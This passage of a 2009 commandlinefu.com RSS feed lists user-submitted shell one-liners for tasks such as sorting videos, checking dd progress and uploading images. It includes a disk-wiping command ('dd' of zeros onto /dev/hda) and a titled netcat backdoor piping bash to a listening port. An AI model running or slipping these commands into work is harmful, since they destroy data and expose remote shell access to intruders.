&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X5vpEh4VxrssZRjzphZ_S6OaCxM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X5vpEh4VxrssZRjzphZ_S6OaCxM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X5vpEh4VxrssZRjzphZ_S6OaCxM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X5vpEh4VxrssZRjzphZ_S6OaCxM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/ZALxFRofUw8" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 04:30:44 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4013/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4013/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</feedburner:origLink></item>
    <item>
      <title><![CDATA[Sort movies by length, longest first]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/FxkBgXHPypc/sort-movies-by-length-longest-first</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4012/sort-movies-by-length-longest-first</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ for i in *.avi; do echo -n &amp;quot;$i:&amp;quot;;totem-gstreamer-video-indexer $i | grep DURATION | cut -d &amp;quot;=&amp;quot; -f 2 ; done | sort -t: -k2 -r&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;Sort .avi movies by time length, print the longest first, and so on...&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4012/sort-movies-by-length-longest-first"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/iadbungler"&gt;View all commands by &lt;strong&gt;iadbungler&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dwx_sj3vrT87zU3JAPAeDLg_KDg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dwx_sj3vrT87zU3JAPAeDLg_KDg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dwx_sj3vrT87zU3JAPAeDLg_KDg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dwx_sj3vrT87zU3JAPAeDLg_KDg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/FxkBgXHPypc" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 02:59:53 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4012/sort-movies-by-length-longest-first</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4012/sort-movies-by-length-longest-first</feedburner:origLink></item>
    <item>
      <title><![CDATA[check the status of 'dd' in progress]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/URK0EMfhpSw/check-the-status-of-dd-in-progress</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4011/check-the-status-of-dd-in-progress</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ while killall -USR1 dd; do sleep 5; done&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;Stops when the (last) dd process exits.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4011/check-the-status-of-dd-in-progress"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/Mikachu"&gt;View all commands by &lt;strong&gt;Mikachu&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/T_yeTDU2MTx05JiHjffonDrJQdM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T_yeTDU2MTx05JiHjffonDrJQdM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/T_yeTDU2MTx05JiHjffonDrJQdM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T_yeTDU2MTx05JiHjffonDrJQdM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/URK0EMfhpSw" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 00:27:33 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4011/check-the-status-of-dd-in-progress</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4011/check-the-status-of-dd-in-progress</feedburner:origLink></item>
    <item>
      <title><![CDATA[Delete everything on hda]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/cZsUy3J2JFE/delete-everything-on-hda</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4010/delete-everything-on-hda</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ dd if=/dev/zero of=/dev/hda bs=16M&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;If you leave out the block size it defaults to 512 bytes. I set it to 16 Megabytes and it was much faster...&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4010/delete-everything-on-hda"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/Clopnixus"&gt;View all commands by &lt;strong&gt;Clopnixus&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HcsareHTSMxA04nn2J8dTzWxsUI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HcsareHTSMxA04nn2J8dTzWxsUI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HcsareHTSMxA04nn2J8dTzWxsUI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HcsareHTSMxA04nn2J8dTzWxsUI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/cZsUy3J2JFE" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 00:13:35 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4010/delete-everything-on-hda</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4010/delete-everything-on-hda</feedburner:origLink></item>
    <item>
      <title><![CDATA[check the status of 'dd' in progress]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/aR5NbF-YNlQ/check-the-status-of-dd-in-progress</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4009/check-the-status-of-dd-in-progress</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ watch -n 10 killall -USR1 dd&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4009/check-the-status-of-dd-in-progress"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/Clopnixus"&gt;View all commands by &lt;strong&gt;Clopnixus&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MmGYv4fFLwO40VVYRc98Zc2AMxI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MmGYv4fFLwO40VVYRc98Zc2AMxI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MmGYv4fFLwO40VVYRc98Zc2AMxI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MmGYv4fFLwO40VVYRc98Zc2AMxI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/aR5NbF-YNlQ" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 09 Nov 2009 00:03:34 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4009/check-the-status-of-dd-in-progress</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4009/check-the-status-of-dd-in-progress</feedburner:origLink></item>
    <item>
      <title><![CDATA[Remove executable bit from all files in the current directory recursively, excluding other directories]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/QCe2wPzyQB4/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4008/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ find . ! -type d -exec chmod -x {}\;&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;Useful if you have copied files from an OS without a permission structure (for example, DOS) and you need to disable all executable files but want to be able to descend into your directories.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4008/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/drashkeev"&gt;View all commands by &lt;strong&gt;drashkeev&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sqz0IzhnWvE2g_iw_Tg0SOKxdnk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sqz0IzhnWvE2g_iw_Tg0SOKxdnk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sqz0IzhnWvE2g_iw_Tg0SOKxdnk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sqz0IzhnWvE2g_iw_Tg0SOKxdnk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/QCe2wPzyQB4" height="1" width="1"/&gt;</description>
      <pubDate>Sun, 08 Nov 2009 21:27:08 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4008/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4008/remove-executable-bit-from-all-files-in-the-current-directory-recursively-excluding-other-directories</feedburner:origLink></item>
    <item>
      <title><![CDATA[Create subdirectory and move files into it]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/v4ceq99XNLQ/create-subdirectory-and-move-files-into-it</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4007/create-subdirectory-and-move-files-into-it</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ (ls; mkdir subdir; echo subdir) | xargs mv&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;With this form you dont need to cut out target directory using grep/sed/etc.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4007/create-subdirectory-and-move-files-into-it"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/mechmind"&gt;View all commands by &lt;strong&gt;mechmind&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Q9zjDiLmBvQZg7anbKSYcLtHOCA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q9zjDiLmBvQZg7anbKSYcLtHOCA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Q9zjDiLmBvQZg7anbKSYcLtHOCA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q9zjDiLmBvQZg7anbKSYcLtHOCA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/v4ceq99XNLQ" height="1" width="1"/&gt;</description>
      <pubDate>Sun, 08 Nov 2009 11:40:55 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4007/create-subdirectory-and-move-files-into-it</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4007/create-subdirectory-and-move-files-into-it</feedburner:origLink></item>
    <item>
      <title><![CDATA[Both view and pipe the file without saving to disk]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/QmiXJlaLgJw/both-view-and-pipe-the-file-without-saving-to-disk</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4006/both-view-and-pipe-the-file-without-saving-to-disk</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;This is a cool trick to view the contents of the file on /dev/pts/0 (or whatever terminal you're using), and also send the contents of that file to another program by way of an unnamed pipe. All the while, you've not bothered saving any extra data to disk, like you might be tempted to do with sed or grep to filter output.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4006/both-view-and-pipe-the-file-without-saving-to-disk"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/atoponce"&gt;View all commands by &lt;strong&gt;atoponce&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VjlPnXdh54ipOJawlgxpJlFX-w8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VjlPnXdh54ipOJawlgxpJlFX-w8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VjlPnXdh54ipOJawlgxpJlFX-w8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VjlPnXdh54ipOJawlgxpJlFX-w8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/QmiXJlaLgJw" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 22:24:28 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4006/both-view-and-pipe-the-file-without-saving-to-disk</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4006/both-view-and-pipe-the-file-without-saving-to-disk</feedburner:origLink></item>
    <item>
      <title><![CDATA[Create a backdoor on a machine to allow remote connection to bash]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/tw7WeHh9704/create-a-backdoor-on-a-machine-to-allow-remote-connection-to-bash</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4005/create-a-backdoor-on-a-machine-to-allow-remote-connection-to-bash</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ /bin/bash | nc -l 1234&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4005/create-a-backdoor-on-a-machine-to-allow-remote-connection-to-bash"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/despseekingsatan"&gt;View all commands by &lt;strong&gt;despseekingsatan&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5MgdO5kxPIuxoQsWuOUSmg1aCMo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5MgdO5kxPIuxoQsWuOUSmg1aCMo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5MgdO5kxPIuxoQsWuOUSmg1aCMo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5MgdO5kxPIuxoQsWuOUSmg1aCMo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/tw7WeHh9704" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 21:26:53 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4005/create-a-backdoor-on-a-machine-to-allow-remote-connection-to-bash</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4005/create-a-backdoor-on-a-machine-to-allow-remote-connection-to-bash</feedburner:origLink></item>
    <item>
      <title><![CDATA[Upload images to omploader.org from the command line.]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/hhqqGAghq9c/upload-images-to-omploader.org-from-the-command-line.</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4004/upload-images-to-omploader.org-from-the-command-line.</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ ompload() { curl -F file1=@&amp;quot;$1&amp;quot; http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/&amp;lt;[^&amp;lt;]*?\/?&amp;gt;/,&amp;quot;&amp;quot;);$1=$1;print}';}&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;This function uploads images to &lt;a href="http://omploader.org" rel="nofollow"&gt;http://omploader.org&lt;/a&gt; and then prints out the links to the file.&lt;/p&gt;
&lt;p&gt;Some coloring can also be added to the command with:&lt;/p&gt;
&lt;code&gt;ompload() { curl -F file1=@&amp;quot;$1&amp;quot; http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/&amp;lt;[^&amp;lt;]*?\/?&amp;gt;/,&amp;quot;&amp;quot;);$1=$1;sub(/^/,&amp;quot;\033[0;34m&amp;quot;);sub(/:/,&amp;quot;\033[0m:&amp;quot;);print}';}&lt;/code&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4004/upload-images-to-omploader.org-from-the-command-line."&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/eightmillion"&gt;View all commands by &lt;strong&gt;eightmillion&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7aw_nNCG-CoMjxjjB1W4D-CidCc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7aw_nNCG-CoMjxjjB1W4D-CidCc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7aw_nNCG-CoMjxjjB1W4D-CidCc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7aw_nNCG-CoMjxjjB1W4D-CidCc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/hhqqGAghq9c" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 20:56:52 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4004/upload-images-to-omploader.org-from-the-command-line.</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4004/upload-images-to-omploader.org-from-the-command-line.</feedburner:origLink></item>
    <item>
      <title><![CDATA[Play random music from blip.fm]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/YnGt0px4hhw/play-random-music-from-blip.fm</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4003/play-random-music-from-blip.fm</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ mpg123 `curl -s http://blip.fm/all | sed -e 's#&amp;quot;#\n#g'  | grep mp3$  | xargs`&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4003/play-random-music-from-blip.fm"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/torrid"&gt;View all commands by &lt;strong&gt;torrid&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ORq1dLGvGdS6qGD83D8kvj7bYGM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ORq1dLGvGdS6qGD83D8kvj7bYGM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ORq1dLGvGdS6qGD83D8kvj7bYGM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ORq1dLGvGdS6qGD83D8kvj7bYGM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/YnGt0px4hhw" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 14:48:01 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4003/play-random-music-from-blip.fm</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4003/play-random-music-from-blip.fm</feedburner:origLink></item>
    <item>
      <title><![CDATA[Play music from youtube without download]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/hBULR3VCbNY/play-music-from-youtube-without-download</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4002/play-music-from-youtube-without-download</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123  -&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4002/play-music-from-youtube-without-download"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/torrid"&gt;View all commands by &lt;strong&gt;torrid&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GSbCT32OOs9qIqElvP8krcGvoJ8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GSbCT32OOs9qIqElvP8krcGvoJ8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GSbCT32OOs9qIqElvP8krcGvoJ8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GSbCT32OOs9qIqElvP8krcGvoJ8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/hBULR3VCbNY" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 13:45:13 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4002/play-music-from-youtube-without-download</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4002/play-music-from-youtube-without-download</feedburner:origLink></item>
    <item>
      <title><![CDATA[another tweet function]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/KaxCAaEcDTk/another-tweet-function</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4001/another-tweet-function</guid>
